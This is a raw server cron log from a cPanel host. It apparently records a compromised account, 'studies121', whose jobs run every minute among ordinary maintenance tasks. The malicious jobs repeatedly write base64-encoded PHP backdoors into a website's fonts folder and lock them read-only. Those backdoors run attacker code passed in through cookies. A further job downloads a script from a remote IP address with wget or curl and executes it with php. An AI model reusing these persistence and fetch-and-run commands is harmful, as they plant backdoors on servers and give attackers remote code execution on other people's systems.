Sep  7 22:57:01 ip-184-168-122-23 CROND[1119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:57:01 ip-184-168-122-23 CROND[1120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:57:01 ip-184-168-122-23 CROND[1122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:58:02 ip-184-168-122-23 CROND[1298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:58:02 ip-184-168-122-23 CROND[1297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:58:02 ip-184-168-122-23 CROND[1300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:58:02 ip-184-168-122-23 CROND[1312]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:58:02 ip-184-168-122-23 CROND[1313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:59:01 ip-184-168-122-23 CROND[1417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:59:01 ip-184-168-122-23 CROND[1432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:59:01 ip-184-168-122-23 CROND[1434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:59:01 ip-184-168-122-23 CROND[1433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:00:01 ip-184-168-122-23 CROND[1530]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 23:00:01 ip-184-168-122-23 CROND[1531]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:00:01 ip-184-168-122-23 CROND[1537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:00:01 ip-184-168-122-23 CROND[1536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:00:01 ip-184-168-122-23 CROND[1535]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:00:01 ip-184-168-122-23 CROND[1538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:00:01 ip-184-168-122-23 CROND[1534]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:00:01 ip-184-168-122-23 CROND[1539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:01:01 ip-184-168-122-23 CROND[1629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:01:01 ip-184-168-122-23 CROND[1631]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 23:01:01 ip-184-168-122-23 CROND[1630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:01:01 ip-184-168-122-23 CROND[1633]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 23:01:01 ip-184-168-122-23 CROND[1632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:01:01 ip-184-168-122-23 CROND[1634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1631]: starting 0anacron
Sep  7 23:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1652]: finished 0anacron
Sep  7 23:02:01 ip-184-168-122-23 CROND[1735]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:02:01 ip-184-168-122-23 CROND[1736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:02:01 ip-184-168-122-23 CROND[1738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:02:01 ip-184-168-122-23 CROND[1740]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:02:01 ip-184-168-122-23 CROND[1739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:03:02 ip-184-168-122-23 CROND[1868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:03:02 ip-184-168-122-23 CROND[1869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:03:02 ip-184-168-122-23 CROND[1871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:03:02 ip-184-168-122-23 CROND[1876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:04:01 ip-184-168-122-23 CROND[1993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:04:01 ip-184-168-122-23 CROND[1994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:04:01 ip-184-168-122-23 CROND[1995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:04:01 ip-184-168-122-23 CROND[1996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:04:01 ip-184-168-122-23 CROND[1998]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:05:01 ip-184-168-122-23 CROND[2115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:05:01 ip-184-168-122-23 CROND[2117]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:05:01 ip-184-168-122-23 CROND[2121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:05:01 ip-184-168-122-23 CROND[2120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:05:01 ip-184-168-122-23 CROND[2118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:05:01 ip-184-168-122-23 CROND[2119]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:05:01 ip-184-168-122-23 CROND[2122]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 23:06:01 ip-184-168-122-23 CROND[2206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:06:01 ip-184-168-122-23 CROND[2208]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:06:01 ip-184-168-122-23 CROND[2209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:06:01 ip-184-168-122-23 CROND[2211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:06:01 ip-184-168-122-23 CROND[2210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:07:02 ip-184-168-122-23 CROND[2294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:07:02 ip-184-168-122-23 CROND[2295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:07:02 ip-184-168-122-23 CROND[2297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:07:02 ip-184-168-122-23 CROND[2296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:08:01 ip-184-168-122-23 CROND[2485]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:08:01 ip-184-168-122-23 CROND[2488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:08:01 ip-184-168-122-23 CROND[2486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:08:01 ip-184-168-122-23 CROND[2489]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:08:01 ip-184-168-122-23 CROND[2487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:09:01 ip-184-168-122-23 CROND[2580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:09:01 ip-184-168-122-23 CROND[2582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
